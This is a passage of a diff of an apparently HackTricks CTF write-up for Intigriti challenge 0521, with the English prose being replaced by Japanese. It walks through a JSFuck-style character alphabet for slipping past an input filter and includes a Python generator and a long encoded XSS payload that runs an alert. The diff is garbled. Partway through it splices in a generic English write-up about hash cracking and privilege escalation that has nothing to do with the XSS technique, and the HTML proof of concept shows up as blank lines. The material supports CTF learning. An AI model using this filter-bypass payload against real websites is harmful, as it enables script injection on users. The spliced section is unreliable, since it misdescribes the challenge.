`[[][[]]+e][0]`** as that expression generates the string `"undefined[object HTMLProgressElement]"`.\ -Using these tricks and some more complex ones it was possible to **generate all the characters (letters and symbols) of the strings contained** in the exploit: +ただし、まだ1つの問題が残っています。エクスプロイトのほとんどの文字は、正規表現 `/[a-df-z<>()!\\='"]/gi` によって**禁止**されています。ただし、エクスプロイト内のすべての**禁止文字は文字列**であり、エクスプロイト内の**文字列でない文字 (e\[]\`${}) は許可されています**。\ +これはつまり、許可された文字から禁止文字を**文字列として生成することができれば、エクスプロイトを生成することができる**ということです。\ +これを実現するために、私はこのチャレンジ専用の[JSFuck](http://www.jsfuck.com)のようなアルファベットを生成しました。\ +エクスプロイトコード内で**完全なアルファベットを確認できます**(次のサブセクションおよびファイル_exploit.txt_にあります)。 +例えば、文字 `a` を**生成するためには、`[[]/e+e][0][1]` にアクセスすることができます**。なぜなら、`[[]/e+e][0]` は文字列 `"NaN[object HTMLProgressElement]"` を生成するからです。また、文字 `f` を生成するためには、**`[[][[]]+e][0]` の5番目の文字にアクセスすることができます**。なぜなら、この式は文字列 `"undefined[object HTMLProgressElement]"` を生成するからです。\ +これらのトリックとさらに複雑なトリックを使用して、エクスプロイトに含まれる**すべての文字(文字と記号)の文字列を生成することができました**。 ```javascript e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${""}` ``` - ### Exploit Code -This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit: - +これは、最終的なエクスプロイトを生成するために使用されるPythonのエクスプロイトです。実行すると、エクスプロイトが表示されます: ```python #JS Specific Direct Alphabet x = { - "1": "1", - ".": ".", - "[": "[e+e][0][0]", - "]": "[e+e][0][27]", - "/": "[/e/+e][0][0]", - "a": "[[]/e+e][0][1]", - "b": "[e+e][0][2]", - "c": "[e+e][0][5]", - "d": "[[][[]]+e][0][2]", - "e": "[e+e][0][4]", - "f": "[[][[]]+e][0][4]", - "g": "[e+e][0][15]", - "H": "[e+e][0][8]", - "i": "[[][[]]+e][0][5]", - "j": "[e+e][0][3]", - "L": "[e+e][0][11]", - "l": "[e+e][0][21]", - "M": "[e+e][0][10]", - "n": "[[][[]]+e][0][1]", - "N": "[[]/e+e][0][0]", - "o": "[e+e][0][1]", - "r": "[e+e][0][13]", - "s": "[e+e][0][18]", - "t": "[e+e][0][6]", - "T": "[e+e][0][9]", - "u": "[[][[]]+e][0][0]", +"1": "1", +".": ".", +"[": "[e+e][0][0]", +"]": "[e+e][0][27]", +"/": "[/e/+e][0][0]", +"a": "[[]/e+e][0][1]", +"b": "[e+e][0][2]", +"c": "[e+e][0][5]", +"d": "[[][[]]+e][0][2]", +"e": "[e+e][0][4]", +"f": "[[][[]]+e][0][4]", +"g": "[e+e][0][15]", +"H": "[e+e][0][8]", +"i": "[[][[]]+e][0][5]", +"j": "[e+e][0][3]", +"L": "[e+e][0][11]", +"l": "[e+e][0][21]", +"M": "[e+e][0][10]", +"n": "[[][[]]+e][0][1]", +"N": "[[]/e+e][0][0]", +"o": "[e+e][0][1]", +"r": "[e+e][0][13]", +"s": "[e+e][0][18]", +"t": "[e+e][0][6]", +"T": "[e+e][0][9]", +"u": "[[][[]]+e][0][0]", } #JS Dependent Alphabet @@ -149,37 +136,60 @@ txt = f'{document}[{write}]'+'`${['+payload+']}`' print(txt) #Write the exploit to stdout ``` - ### Exploitation -In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here: - +エクスプロイトを生成するためには、前のPythonコードを実行してください。もしくは、ここからコピー/ペーストすることもできます。 ``` + e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][42]+[[][[]]+e][0][2]+[e+e][0][1]+[e+e][0][5]+[[][[]]+e][0][0]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[e+e][0][0]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[[][[]]+e][0][2]+[e+e][0][1]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][38]+[[]/e+e][0][1]+[[][[]]+e][0][5]+[[][[]]+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][13]+[e+e][0][27]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][43]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[/e/+e][0][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]]}` -``` +# Challenge 0521 - Intigriti CTF Write-up -Then, you need to **generate a HTML page** that, when loaded, it’s going to **redirect** the victim to the **challenge** page **setting the exploit in the captcha form**. The following code can be use for this purpose (_note that the exploit is URL encoded_): +## Introduction +This challenge is a web-based CTF (Capture The Flag) challenge hosted on the Intigriti platform. The goal is to find and exploit vulnerabilities in the target website to gain unauthorized access and retrieve the flag. + +## Reconnaissance + +The first step in any hacking challenge is to gather information about the target. We start by visiting the target website and inspecting the source code. By examining the HTML, JavaScript, and CSS files, we can identify potential vulnerabilities. + +## Exploitation + +After analyzing the source code, we discover a potential vulnerability in the login functionality. The website uses a weak password hashing algorithm, which can be exploited to retrieve the password hashes. + +Using a technique called "hash cracking," we can attempt to crack the password hashes and gain access to the user accounts. We can use tools like John the Ripper or Hashcat to perform this task. + +## Privilege Escalation + +Once we have access to a user account, we can attempt to escalate our privileges and gain administrative access. This can be done by exploiting vulnerabilities in the website's user management system or by leveraging misconfigurations in the server environment. + +## Flag Retrieval + +After gaining administrative access, we can search for the flag within the system. The flag is usually stored in a file or database table, and its location may vary depending on the challenge. + +## Conclusion + +This write-up provides a high-level overview of the steps involved in completing the Intigriti CTF challenge. By following these steps and leveraging various hacking techniques, we can successfully exploit vulnerabilities and retrieve the flag. Happy hacking! +次に、**HTMLページを生成する必要があります**。このページを読み込むと、被害者は**キャプチャフォームにエクスプロイトを設定したまま**、**チャレンジ**ページに**リダイレクト**されます。以下のコードは、この目的のために使用できます(_エクスプロイトはURLエンコードされていることに注意してください_): ```markup - - - -
- - -
- - + + + +
+ + + +
+ + ``` - -Finally, **serve the poc in a HTTP** server and access it from the browser:\\ +最後に、HTTPサーバーで**pocを提供**し、ブラウザからアクセスします:\\ ![](https://i.imgur.com/qack7GO.png) -Just press **submit** on the captcha form and the alert will be executed: +キャプチャフォームで**submit**を押すだけで、アラートが実行されます: ![](https://i.imgur.com/mCORty3.png) @@ -187,10 +197,10 @@ Just press **submit** on the captcha form and the alert will be executed: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS 